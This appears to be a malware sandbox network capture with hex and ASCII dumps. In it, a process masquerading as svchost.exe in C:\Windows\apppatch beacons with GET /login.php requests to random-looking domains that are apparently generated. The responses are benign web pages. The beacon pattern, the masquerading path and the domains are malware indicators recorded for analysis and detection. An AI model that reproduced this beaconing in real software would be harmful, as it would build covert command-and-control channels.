                                                                                                                                                                                                                    2024-11-11 17:48:34 UTC1369INData Raw: 74 62 75 69 6c 74 3a 6e 6f 74 28 2e 69 2d 61 6d 70 68 74 6d 6c 2d 6c 61 79 6f 75 74 2d 63 6f 6e 74 61 69 6e 65 72 29 3e 2a 2c 5b 6c 61 79 6f 75 74 5d 3a 6e 6f 74 28 5b 6c 61 79 6f 75 74 3d 63 6f 6e 74 61 69 6e 65 72 5d 29 3a 6e 6f 74 28 2e 69 2d 61 6d 70 68 74 6d 6c 2d 65 6c 65 6d 65 6e 74 29 3e 2a 2c 5b 77 69 64 74 68 5d 5b 68 65 69 67 68 74 5d 5b 68 65 69 67 68 74 73 5d 3a 6e 6f 74 28 5b 6c 61 79 6f 75 74 5d 29 3a 6e 6f 74 28 2e 69 2d 61 6d 70 68 74 6d 6c 2d 65 6c 65 6d 65 6e 74 29 3e 2a 2c 5b 77 69 64 74 68 5d 5b 68 65 69 67 68 74 5d 5b 73 69 7a 65 73 5d 3a 6e 6f 74 28 5b 6c 61 79 6f 75 74 5d 29 3a 6e 6f 74 28 2e 69 2d 61 6d 70 68 74 6d 6c 2d 65 6c 65 6d 65 6e 74 29 3e 2a 7b 64 69 73 70 6c 61 79 3a 6e 6f 6e 65 7d 61 6d 70 2d 69 6d 67 3a 6e 6f 74 28 2e
                                                                                                                                                                                                                    Data Ascii: tbuilt:not(.i-amphtml-layout-container)>*,[layout]:not([layout=container]):not(.i-amphtml-element)>*,[width][height][heights]:not([layout]):not(.i-amphtml-element)>*,[width][height][sizes]:not([layout]):not(.i-amphtml-element)>*{display:none}amp-img:not(.
                                                                                                                                                                                                                    2024-11-11 17:48:34 UTC1369INData Raw: 74 3b 62 6f 74 74 6f 6d 3a 30 21 69 6d 70 6f 72 74 61 6e 74 3b 7a 2d 69 6e 64 65 78 3a 31 7d 61 6d 70 2d 69 6d 67 5b 69 2d 61 6d 70 68 74 6d 6c 2d 73 73 72 5d 3a 6e 6f 74 28 2e 69 2d 61 6d 70 68 74 6d 6c 2d 65 6c 65 6d 65 6e 74 29 3e 5b 70 6c 61 63 65 68 6f 6c 64 65 72 5d 7b 7a 2d 69 6e 64 65 78 3a 61 75 74 6f 7d 2e 69 2d 61 6d 70 68 74 6d 6c 2d 6e 6f 74 62 75 69 6c 74 3e 5b 70 6c 61 63 65 68 6f 6c 64 65 72 5d 7b 64 69 73 70 6c 61 79 3a 62 6c 6f 63 6b 21 69 6d 70 6f 72 74 61 6e 74 7d 2e 69 2d 61 6d 70 68 74 6d 6c 2d 68 69 64 64 65 6e 2d 62 79 2d 6d 65 64 69 61 2d 71 75 65 72 79 7b 64 69 73 70 6c 61 79 3a 6e 6f 6e 65 21 69 6d 70 6f 72 74 61 6e 74 7d 2e 69 2d 61 6d 70 68 74 6d 6c 2d 65 6c 65 6d 65 6e 74 2d 65 72 72 6f 72 7b 62 61 63 6b 67 72 6f 75 6e 64 3a
                                                                                                                                                                                                                    Data Ascii: t;bottom:0!important;z-index:1}amp-img[i-amphtml-ssr]:not(.i-amphtml-element)>[placeholder]{z-index:auto}.i-amphtml-notbuilt>[placeholder]{display:block!important}.i-amphtml-hidden-by-media-query{display:none!important}.i-amphtml-element-error{background:
                                                                                                                                                                                                                    2024-11-11 17:48:34 UTC1369INData Raw: 72 66 6c 6f 77 3a 68 69 64 64 65 6e 21 69 6d 70 6f 72 74 61 6e 74 3b 76 69 73 69 62 69 6c 69 74 79 3a 68 69 64 64 65 6e 7d 61 6d 70 2d 73 74 6f 72 79 7b 76 69 73 69 62 69 6c 69 74 79 3a 68 69 64 64 65 6e 21 69 6d 70 6f 72 74 61 6e 74 7d 68 74 6d 6c 2e 69 2d 61 6d 70 68 74 6d 6c 2d 66 69 65 3e 61 6d 70 2d 61 6e 61 6c 79 74 69 63 73 7b 70 6f 73 69 74 69 6f 6e 3a 69 6e 69 74 69 61 6c 21 69 6d 70 6f 72 74 61 6e 74 7d 5b 76 69 73 69 62 6c 65 2d 77 68 65 6e 2d 69 6e 76 61 6c 69 64 5d 3a 6e 6f 74 28 2e 76 69 73 69 62 6c 65 29 2c 66 6f 72 6d 20 5b 73 75 62 6d 69 74 2d 65 72 72 6f 72 5d 2c 66 6f 72 6d 20 5b 73 75 62 6d 69 74 2d 73 75 63 63 65 73 73 5d 2c 66 6f 72 6d 20 5b 73 75 62 6d 69 74 74 69 6e 67 5d 7b 64 69 73 70 6c 61 79 3a 6e 6f 6e 65 7d 61 6d 70 2d 61 63
                                                                                                                                                                                                                    Data Ascii: rflow:hidden!important;visibility:hidden}amp-story{visibility:hidden!important}html.i-amphtml-fie>amp-analytics{position:initial!important}[visible-when-invalid]:not(.visible),form [submit-error],form [submit-success],form [submitting]{display:none}amp-ac


                                                                                                                                                                                                                    Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                                                                                    5192.168.2.45571775.2.71.1994437436C:\Windows\apppatch\svchost.exe
                                                                                                                                                                                                                    TimestampBytes transferredDirectionData
                                                                                                                                                                                                                    2024-11-11 17:48:49 UTC267OUTGET /login.php HTTP/1.1
                                                                                                                                                                                                                    Referer: http://www.google.com
                                                                                                                                                                                                                    User-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)
                                                                                                                                                                                                                    Host: puzylyp.com
                                                                                                                                                                                                                    Connection: Keep-Alive
                                                                                                                                                                                                                    2024-11-11 17:48:49 UTC352INHTTP/1.1 200 OK
                                                                                                                                                                                                                    Alt-Svc: h3=":443"; ma=2592000
                                                                                                                                                                                                                    Cache-Control: private, no-cache, no-store, max-age=0, must-revalidate
                                                                                                                                                                                                                    Content-Type: text/html; charset=utf-8
                                                                                                                                                                                                                    Date: Mon, 11 Nov 2024 17:48:49 GMT
                                                                                                                                                                                                                    Etag: "lwg5bxe32119wv"
                                                                                                                                                                                                                    Server: Caddy
                                                                                                                                                                                                                    Server: awselb/2.0
                                                                                                                                                                                                                    Vary: Accept-Encoding
                                                                                                                                                                                                                    X-Powered-By: Next.js
                                                                                                                                                                                                                    Connection: close
                                                                                                                                                                                                                    Transfer-Encoding: chunked
                                                                                                                                                                                                                    2024-11-11 17:48:49 UTC2372INData Raw: 38 30 30 30 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 3c 68 65 61 64 3e 3c 6d 65 74 61 20 63 68 61 72 53 65 74 3d 22 75 74 66 2d 38 22 2f 3e 3c 6c 69 6e 6b 20 72 65 6c 3d 22 61 70 70 6c 65 2d 74 6f 75 63 68 2d 69 63 6f 6e 22 20 73 69 7a 65 73 3d 22 31 38 30 78 31 38 30 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 64 31 35 77 65 6a 7a 65 37 64 32 74 6c 6a 2e 63 6c 6f 75 64 66 72 6f 6e 74 2e 6e 65 74 2f 76 31 2f 70 75 62 6c 69 63 2f 61 70 70 6c 65 2d 74 6f 75 63 68 2d 69 63 6f 6e 2e 70 6e 67 22 2f 3e 3c 6c 69 6e 6b 20 72 65 6c 3d 22 69 63 6f 6e 22 20 74 79 70 65 3d 22 69 6d 61 67 65 2f 70 6e 67 22 20 73 69 7a 65 73 3d 22 33 32 78 33 32 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 64 31
                                                                                                                                                                                                                    Data Ascii: 8000<!DOCTYPE html><html lang="en-US"><head><meta charSet="utf-8"/><link rel="apple-touch-icon" sizes="180x180" href="https://d15wejze7d2tlj.cloudfront.net/v1/public/apple-touch-icon.png"/><link rel="icon" type="image/png" sizes="32x32" href="https://d1
                                                                                                                                                                                                                    2024-11-11 17:48:49 UTC1724INData Raw: 65 78 74 2f 73 74 61 74 69 63 2f 63 68 75 6e 6b 73 2f 62 31 35 35 61 35 35 36 2d 37 32 37 37 64 32 30 35 62 33 61 39 36 64 64 31 2e 6a 73 22 20 64 65 66 65 72 3d 22 22 3e 3c 2f 73 63 72 69 70 74 3e 3c 73 63 72 69 70 74 20 73 72 63 3d 22 68 74 74 70 73 3a 2f 2f 64 31 35 77 65 6a 7a 65 37 64 32 74 6c 6a 2e 63 6c 6f 75 64 66 72 6f 6e 74 2e 6e 65 74 2f 76 31 2f 5f 6e 65 78 74 2f 73 74 61 74 69 63 2f 63 68 75 6e 6b 73 2f 62 37 37 39 62 62 35 65 2d 65 33 34 61 63 36 66 32 62 33 32 65 65 39 62 31 2e 6a 73 22 20 64 65 66 65 72 3d 22 22 3e 3c 2f 73 63 72 69 70 74 3e 3c 73 63 72 69 70 74 20 73 72 63 3d 22 68 74 74 70 73 3a 2f 2f 64 31 35 77 65 6a 7a 65 37 64 32 74 6c 6a 2e 63 6c 6f 75 64 66 72 6f 6e 74 2e 6e 65 74 2f 76 31 2f 5f 6e 65 78 74 2f 73 74 61 74 69 63 2f
                                                                                                                                                                                                                    Data Ascii: ext/static/chunks/b155a556-7277d205b3a96dd1.js" defer=""></script><script src="https://d15wejze7d2tlj.cloudfront.net/v1/_next/static/chunks/b779bb5e-e34ac6f2b32ee9b1.js" defer=""></script><script src="https://d15wejze7d2tlj.cloudfront.net/v1/_next/static/
                                                                                                                                                                                                                    2024-11-11 17:48:49 UTC4744INData Raw: 78 2d 63 6f 6c 20 67 61 70 2d 32 20 6d 62 2d 36 22 3e 3c 68 32 20 63 6c 61 73 73 3d 22 66 6f 6e 74 2d 49 6e 74 65 72 20 74 65 78 74 2d 78 6c 20 66 6f 6e 74 2d 62 6f 6c 64 20 73 6d 3a 74 65 78 74 2d 32 78 6c 22 3e 49 6e 71 75 69 72 65 20 74 6f 64 61 79 20 74 6f 20 73 65 63 75 72 65 20 74 68 69 73 20 64 6f 6d 61 69 6e 3c 2f 68 32 3e 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 66 6f 6e 74 2d 49 6e 74 65 72 20 74 65 78 74 2d 73 6d 20 66 6f 6e 74 2d 6e 6f 72 6d 61 6c 20 73 6d 3a 74 65 78 74 2d 62 61 73 65 22 3e 50 6c 65 61 73 65 20 63 6f 6d 70 6c 65 74 65 20 74 68 65 20 66 6f 72 6d 20 62 65 6c 6f 77 20 61 6e 64 20 77 65 20 77 69 6c 6c 20 63 6f 6e 6e 65 63 74 20 79 6f 75 20 77 69 74 68 20 6f 6e 65 20 6f 66 20 6f 75 72 20 64 6f 6d 61 69 6e 20 65 78 70 65 72 74 73 2e
                                                                                                                                                                                                                    Data Ascii: x-col gap-2 mb-6"><h2 class="font-Inter text-xl font-bold sm:text-2xl">Inquire today to secure this domain</h2><span class="font-Inter text-sm font-normal sm:text-base">Please complete the form below and we will connect you with one of our domain experts.
                                                                                                                                                                                                                    2024-11-11 17:48:50 UTC5930INData Raw: 2d 2d 20 2d 2d 3e 29 3c 2f 6f 70 74 69 6f 6e 3e 3c 6f 70 74 69 6f 6e 20 76 61 6c 75 65 3d 22 44 45 22 3e 44 45 3c 21 2d 2d 20 2d 2d 3e 20 28 2b 3c 21 2d 2d 20 2d 2d 3e 34 39 3c 21 2d 2d 20 2d 2d 3e 29 3c 2f 6f 70 74 69 6f 6e 3e 3c 6f 70 74 69 6f 6e 20 76 61 6c 75 65 3d 22 50 45 22 3e 50 45 3c 21 2d 2d 20 2d 2d 3e 20 28 2b 3c 21 2d 2d 20 2d 2d 3e 35 31 3c 21 2d 2d 20 2d 2d 3e 29 3c 2f 6f 70 74 69 6f 6e 3e 3c 6f 70 74 69 6f 6e 20 76 61 6c 75 65 3d 22 4d 58 22 3e 4d 58 3c 21 2d 2d 20 2d 2d 3e 20 28 2b 3c 21 2d 2d 20 2d 2d 3e 35 32 3c 21 2d 2d 20 2d 2d 3e 29 3c 2f 6f 70 74 69 6f 6e 3e 3c 6f 70 74 69 6f 6e 20 76 61 6c 75 65 3d 22 43 55 22 3e 43 55 3c 21 2d 2d 20 2d 2d 3e 20 28 2b 3c 21 2d 2d 20 2d 2d 3e 35 33 3c 21 2d 2d 20 2d 2d 3e 29 3c 2f 6f 70 74 69 6f 6e
                                                                                                                                                                                                                    Data Ascii: -- -->)</option><option value="DE">DE... --> (+... -->49... -->)</option><option value="PE">PE... --> (+... -->51... -->)</option><option value="MX">MX... --> (+... -->52... -->)</option><option value="CU">CU... --> (+... -->53... -->)</option
                                                                                                                                                                                                                    2024-11-11 17:48:50 UTC7116INData Raw: 2d 2d 3e 20 28 2b 3c 21 2d 2d 20 2d 2d 3e 33 35 36 3c 21 2d 2d 20 2d 2d 3e 29 3c 2f 6f 70 74 69 6f 6e 3e 3c 6f 70 74 69 6f 6e 20 76 61 6c 75 65 3d 22 43 59 22 3e 43 59 3c 21 2d 2d 20 2d 2d 3e 20 28 2b 3c 21 2d 2d 20 2d 2d 3e 33 35 37 3c 21 2d 2d 20 2d 2d 3e 29 3c 2f 6f 70 74 69 6f 6e 3e 3c 6f 70 74 69 6f 6e 20 76 61 6c 75 65 3d 22 41 58 22 3e 41 58 3c 21 2d 2d 20 2d 2d 3e 20 28 2b 3c 21 2d 2d 20 2d 2d 3e 33 35 38 3c 21 2d 2d 20 2d 2d 3e 29 3c 2f 6f 70 74 69 6f 6e 3e 3c 6f 70 74 69 6f 6e 20 76 61 6c 75 65 3d 22 46 49 22 3e 46 49 3c 21 2d 2d 20 2d 2d 3e 20 28 2b 3c 21 2d 2d 20 2d 2d 3e 33 35 38 3c 21 2d 2d 20 2d 2d 3e 29 3c 2f 6f 70 74 69 6f 6e 3e 3c 6f 70 74 69 6f 6e 20 76 61 6c 75 65 3d 22 42 47 22 3e 42 47 3c 21 2d 2d 20 2d 2d 3e 20 28 2b 3c 21 2d 2d 20
                                                                                                                                                                                                                    Data Ascii: --> (+... -->356... -->)</option><option value="CY">CY... --> (+... -->357... -->)</option><option value="AX">AX... --> (+... -->358... -->)</option><option value="FI">FI... --> (+... -->358... -->)</option><option value="BG">BG... --> (+...
                                                                                                                                                                                                                    2024-11-11 17:48:50 UTC8302INData Raw: 69 63 65 2d 72 65 71 75 65 73 74 2d 66 6f 72 6d 2d 69 64 22 20 74 69 74 6c 65 3d 22 47 65 74 20 70 72 69 63 65 22 20 61 72 69 61 2d 6c 61 62 65 6c 3d 22 47 65 74 20 70 72 69 63 65 22 20 6c 61 62 65 6c 3d 22 47 65 74 20 70 72 69 63 65 22 20 65 6e 64 49 63 6f 6e 3d 22 5b 6f 62 6a 65 63 74 20 4f 62 6a 65 63 74 5d 22 3e 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 66 6c 65 78 20 6a 75 73 74 69 66 79 2d 63 65 6e 74 65 72 20 69 74 65 6d 73 2d 63 65 6e 74 65 72 20 67 61 70 2d 31 2e 35 20 6d 78 2d 61 75 74 6f 22 3e 3c 64 69 76 20 63 6c 61 73 73 3d 22 66 6c 65 78 20 69 74 65 6d 73 2d 63 65 6e 74 65 72 20 67 61 70 2d 32 22 3e 47 65 74 20 70 72 69 63 65 3c 73 76 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 30 2f 73 76 67 22 20
                                                                                                                                                                                                                    Data Ascii: ice-request-form-id" title="Get price" aria-label="Get price" label="Get price" endIcon="[object Object]"><span class="flex justify-center items-center gap-1.5 mx-auto"><div class="flex items-center gap-2">Get price<svg xmlns="http://www.w3.org/2000/svg"
                                                                                                                                                                                                                    2024-11-11 17:48:50 UTC2586INData Raw: 30 2e 33 76 2e 30 36 37 68 2d 2e 31 33 36 76 2e 30 36 38 68 2d 2e 30 36 38 76 2e 30 36 38 68 2d 2e 30 36 37 56 2e 37 36 48 39 2e 39 36 76 2e 30 36 38 68 2d 2e 31 33 36 76 2e 30 36 37 68 2d 2e 30 36 38 76 2e 30 36 38 48 39 2e 36 39 76 2e 30 36 38 48 39 2e 36 32 76 2e 30 36 38 68 2d 2e 30 36 38 76 2e 30 36 38 68 2d 2e 31 33 35 76 2e 30 36 37 48 39 2e 33 35 76 2e 30 36 38 68 2d 2e 30 36 38 76 2e 30 36 38 68 2d 2e 30 36 38 76 2e 30 36 38 68 2d 2e 30 36 38 76 2e 30 36 37 48 39 2e 30 38 76 2e 30 36 38 48 39 2e 30 31 76 2e 30 36 38 68 2d 2e 30 36 38 76 2e 30 36 38 68 2d 2e 30 36 38 76 2e 30 36 38 68 2d 2e 30 36 37 76 2e 30 36 37 48 38 2e 37 34 76 2e 30 36 38 68 2d 2e 30 36 38 76 2e 30 36 38 68 2d 2e 30 36 38 76 2e 30 36 38 68 2d 2e 30 36 38 76 2e 30 36 37 48 38
                                                                                                                                                                                                                    Data Ascii: 0.3v.067h-.136v.068h-.068v.068h-.067V.76H9.96v.068h-.136v.067h-.068v.068H9.69v.068H9.62v.068h-.068v.068h-.135v.067H9.35v.068h-.068v.068h-.068v.068h-.068v.067H9.08v.068H9.01v.068h-.068v.068h-.068v.068h-.067v.067H8.74v.068h-.068v.068h-.068v.068h-.068v.067H8
                                                                                                                                                                                                                    2024-11-11 17:48:50 UTC2INData Raw: 0d 0a
                                                                                                                                                                                                                    Data Ascii:
                                                                                                                                                                                                                    2024-11-11 17:48:50 UTC4096INData Raw: 36 38 38 31 0d 0a 65 6e 74 43 6f 6c 6f 72 22 20 66 69 6c 6c 2d 72 75 6c 65 3d 22 65 76 65 6e 6f 64 64 22 20 64 3d 22 4d 32 39 2e 36 37 20 34 2e 34 37 34 68 2d 33 2e 39 34 36 76 31 31 2e 32 38 37 68 33 2e 39 34 35 63 33 2e 36 30 36 20 30 20 35 2e 39 35 2d 32 2e 32 31 35 20 35 2e 39 35 2d 35 2e 36 32 37 20 30 2d 33 2e 34 32 39 2d 32 2e 33 34 34 2d 35 2e 36 36 2d 35 2e 39 35 2d 35 2e 36 36 6d 2d 31 2e 36 38 33 20 39 2e 33 36 32 56 36 2e 33 38 32 68 31 2e 36 30 31 63 32 2e 33 37 38 20 30 20 33 2e 37 32 20 31 2e 34 30 37 20 33 2e 37 32 20 33 2e 37 35 32 73 2d 31 2e 33 34 32 20 33 2e 37 30 32 2d 33 2e 37 32 20 33 2e 37 30 32 7a 6d 31 37 2e 39 38 32 2d 32 2e 35 35 34 63 30 2d 32 2e 38 33 2d 32 2e 30 32 32 2d 34 2e 36 32 35 2d 34 2e 36 30 39 2d 34 2e 36 32 35 73
                                                                                                                                                                                                                    Data Ascii: 6881entColor" fill-rule="evenodd" d="M29.67 4.474h-3.946v11.287h3.945c3.606 0 5.95-2.215 5.95-5.627 0-3.429-2.344-5.66-5.95-5.66m-1.683 9.362V6.382h1.601c2.378 0 3.72 1.407 3.72 3.752s-1.342 3.702-3.72 3.702zm17.982-2.554c0-2.83-2.022-4.625-4.609-4.625s
                                                                                                                                                                                                                    2024-11-11 17:48:50 UTC13046INData Raw: 30 36 38 68 2d 2e 30 36 38 76 2d 2e 30 36 38 68 2d 2e 31 33 35 76 2d 2e 30 36 38 68 2d 2e 31 33 36 76 2d 2e 30 36 38 68 2d 2e 31 33 36 76 2d 2e 30 36 37 68 2d 2e 30 36 37 76 2d 2e 30 36 38 68 2d 2e 30 36 38 76 2d 2e 30 36 38 68 2d 2e 30 36 38 76 2d 2e 30 36 38 68 2d 2e 30 36 38 76 2d 2e 30 36 37 68 2d 2e 30 36 37 76 2d 2e 30 36 38 68 2d 2e 30 36 38 76 2d 2e 30 36 38 68 2d 2e 30 36 38 76 2d 2e 30 36 38 68 2d 2e 31 33 36 76 2d 2e 31 33 35 68 2d 2e 30 36 37 76 2d 2e 30 36 38 68 2d 2e 30 36 38 76 2d 2e 30 36 38 68 2d 2e 30 36 38 76 2d 2e 31 33 35 68 2d 2e 30 36 38 76 2d 2e 30 36 38 68 2d 2e 30 36 38 76 2d 2e 30 36 38 68 2d 2e 30 36 37 76 2d 2e 31 33 36 68 2d 2e 30 36 38 76 2d 2e 30 36 37 68 2d 2e 30 36 38 76 2d 2e 31 33 36 68 2d 2e 30 36 38 76 2d 2e 31 33 36
                                                                                                                                                                                                                    Data Ascii: 068h-.068v-.068h-.135v-.068h-.136v-.068h-.136v-.067h-.067v-.068h-.068v-.068h-.068v-.068h-.068v-.067h-.067v-.068h-.068v-.068h-.068v-.068h-.136v-.135h-.067v-.068h-.068v-.068h-.068v-.135h-.068v-.068h-.068v-.068h-.067v-.136h-.068v-.067h-.068v-.136h-.068v-.136


                                                                                                                                                                                                                    Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                                                                                    6192.168.2.455719188.114.96.34437436C:\Windows\apppatch\svchost.exe
                                                                                                                                                                                                                    TimestampBytes transferredDirectionData
                                                                                                                                                                                                                    2024-11-11 17:48:49 UTC267OUTGET /login.php HTTP/1.1
                                                                                                                                                                                                                    Referer: http://www.google.com
                                                                                                                                                                                                                    User-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)
                                                                                                                                                                                                                    Host: qegyhig.com
                                                                                                                                                                                                                    Connection: Keep-Alive
                                                                                                                                                                                                                    2024-11-11 17:48:50 UTC954INHTTP/1.1 404 Not Found
                                                                                                                                                                                                                    Date: Mon, 11 Nov 2024 17:48:50 GMT
                                                                                                                                                                                                                    Content-Type: text/html; charset=UTF-8
                                                                                                                                                                                                                    Transfer-Encoding: chunked
                                                                                                                                                                                                                    Connection: close
                                                                                                                                                                                                                    vary: Accept-Encoding
                                                                                                                                                                                                                    expires: Wed, 11 Jan 1984 05:00:00 GMT
                                                                                                                                                                                                                    Cache-Control: no-cache, must-revalidate, max-age=0
                                                                                                                                                                                                                    link: <https://qegyhig.com/wp-json/>; rel="https://api.w.org/"
                                                                                                                                                                                                                    cf-cache-status: DYNAMIC
                                                                                                                                                                                                                    Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=scDJKpNRBz1GHx9dZ9DZgPwZqbuTp9QCJK6vyX%2FsD3%2BViCKGdPwSD0yk2c8RSxgLAd7ZG2p%2BnHQiPdIuPhTbfDnYo4eJl6T8SFc5%2F%2Fvz%2BFIj7mERlTsrQHz2Gryp%2Bw%3D%3D"}],"group":"cf-nel","max_age":604800}
                                                                                                                                                                                                                    NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
                                                                                                                                                                                                                    Server: cloudflare
                                                                                                                                                                                                                    CF-RAY: 8e101d8b7b1f4d13-BOS
                                                                                                                                                                                                                    alt-svc: h3=":443"; ma=86400
                                                                                                                                                                                                                    server-timing: cfL4;desc="?proto=TCP&rtt=7515&sent=4&recv=7&lost=0&retrans=0&sent_bytes=2823&recv_bytes=881&delivery_rate=356869&cwnd=81&unsent_bytes=0&cid=de3656553b841c1b&ts=1093&x=0"
                                                                                                                                                                                                                    2024-11-11 17:48:50 UTC415INData Raw: 37 63 61 32 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 3e 0a 09 20 3c 6c 69 6e 6b 20 72 65 6c 3d 22 70 72 6f 66 69 6c 65 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 67 6d 70 67 2e 6f 72 67 2f 78 66 6e 2f 31 31 22 3e 20 0a 09 20 3c 73 74 79 6c 65 3e 0d 0a 23 77 70 61 64 6d 69 6e 62 61 72 20 23 77 70 2d 61 64 6d 69 6e 2d 62 61 72 2d 77 63 63 70 5f 66 72 65 65 5f 74 6f 70 5f 62 75 74 74 6f 6e 20 2e
                                                                                                                                                                                                                    Data Ascii: 7ca2<!DOCTYPE html><html lang="en-US"><head><meta charset="UTF-8"><meta name="viewport" content="width=device-width, initial-scale=1"> <link rel="profile" href="https://gmpg.org/xfn/11"> <style>#wpadminbar #wp-admin-bar-wccp_free_top_button .
                                                                                                                                                                                                                    2024-11-11 17:48:50 UTC1369INData Raw: 0a 3c 2f 73 74 79 6c 65 3e 0d 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 27 72 6f 62 6f 74 73 27 20 63 6f 6e 74 65 6e 74 3d 27 6e 6f 69 6e 64 65 78 2c 20 66 6f 6c 6c 6f 77 27 20 2f 3e 0a 0a 09 3c 21 2d 2d 20 54 68 69 73 20 73 69 74 65 20 69 73 20 6f 70 74 69 6d 69 7a 65 64 20 77 69 74 68 20 74 68 65 20 59 6f 61 73 74 20 53 45 4f 20 70 6c 75 67 69 6e 20 76 32 31 2e 33 20 2d 20 68 74 74 70 73 3a 2f 2f 79 6f 61 73 74 2e 63 6f 6d 2f 77 6f 72 64 70 72 65 73 73 2f 70 6c 75 67 69 6e 73 2f 73 65 6f 2f 20 2d 2d 3e 0a 09 3c 74 69 74 6c 65 3e 50 61 67 65 20 6e 6f 74 20 66 6f 75 6e 64 20 2d 3c 2f 74 69 74 6c 65 3e 0a 09 3c 6d 65 74 61 20 70 72 6f 70 65 72 74 79 3d 22 6f 67 3a 6c 6f 63 61 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 65 6e 5f 55 53 22 20 2f 3e 0a 09 3c 6d 65 74 61
                                                                                                                                                                                                                    Data Ascii: </style><meta name='robots' content='noindex, follow' />... This site is optimized with the Yoast SEO plugin v21.3 - https://yoast.com/wordpress/plugins/seo/ --><title>Page not found -</title><meta property="og:locale" content="en_US" /><meta
                                                                                                                                                                                                                    2024-11-11 17:48:50 UTC1369INData Raw: 75 6e 63 74 69 6f 6e 20 63 28 65 29 7b 74 72 79 7b 76 61 72 20 74 3d 7b 73 75 70 70 6f 72 74 54 65 73 74 73 3a 65 2c 74 69 6d 65 73 74 61 6d 70 3a 28 6e 65 77 20 44 61 74 65 29 2e 76 61 6c 75 65 4f 66 28 29 7d 3b 73 65 73 73 69 6f 6e 53 74 6f 72 61 67 65 2e 73 65 74 49 74 65 6d 28 6f 2c 4a 53 4f 4e 2e 73 74 72 69 6e 67 69 66 79 28 74 29 29 7d 63 61 74 63 68 28 65 29 7b 7d 7d 66 75 6e 63 74 69 6f 6e 20 70 28 65 2c 74 2c 6e 29 7b 65 2e 63 6c 65 61 72 52 65 63 74 28 30 2c 30 2c 65 2e 63 61 6e 76 61 73 2e 77 69 64 74 68 2c 65 2e 63 61 6e 76 61 73 2e 68 65 69 67 68 74 29 2c 65 2e 66 69 6c 6c 54 65 78 74 28 74 2c 30 2c 30 29 3b 76 61 72 20 74 3d 6e 65 77 20 55 69 6e 74 33 32 41 72 72 61 79 28 65 2e 67 65 74 49 6d 61 67 65 44 61 74 61 28 30 2c 30 2c 65 2e 63 61
                                                                                                                                                                                                                    Data Ascii: unction c(e){try{var t={supportTests:e,timestamp:(new Date).valueOf()};sessionStorage.setItem(o,JSON.stringify(t))}catch(e){}}function p(e,t,n){e.clearRect(0,0,e.canvas.width,e.canvas.height),e.fillText(t,0,0);var t=new Uint32Array(e.getImageData(0,0,e.ca
                                                                                                                                                                                                                    2024-11-11 17:48:50 UTC1369INData Raw: 66 69 6e 65 64 22 21 3d 74 79 70 65 6f 66 20 50 72 6f 6d 69 73 65 26 26 28 6f 3d 22 77 70 45 6d 6f 6a 69 53 65 74 74 69 6e 67 73 53 75 70 70 6f 72 74 73 22 2c 73 3d 5b 22 66 6c 61 67 22 2c 22 65 6d 6f 6a 69 22 5d 2c 6e 2e 73 75 70 70 6f 72 74 73 3d 7b 65 76 65 72 79 74 68 69 6e 67 3a 21 30 2c 65 76 65 72 79 74 68 69 6e 67 45 78 63 65 70 74 46 6c 61 67 3a 21 30 7d 2c 65 3d 6e 65 77 20 50 72 6f 6d 69 73 65 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 69 2e 61 64 64 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 28 22 44 4f 4d 43 6f 6e 74 65 6e 74 4c 6f 61 64 65 64 22 2c 65 2c 7b 6f 6e 63 65 3a 21 30 7d 29 7d 29 2c 6e 65 77 20 50 72 6f 6d 69 73 65 28 66 75 6e 63 74 69 6f 6e 28 74 29 7b 76 61 72 20 6e 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 74 72 79 7b 76 61 72 20 65 3d 4a 53
                                                                                                                                                                                                                    Data Ascii: fined"!=typeof Promise&&(o="wpEmojiSettingsSupports",s=["flag","emoji"],n.supports={everything:!0,everythingExceptFlag:!0},e=new Promise(function(e){i.addEventListener("DOMContentLoaded",e,{once:!0})}),new Promise(function(t){var n=function(){try{var e=JS
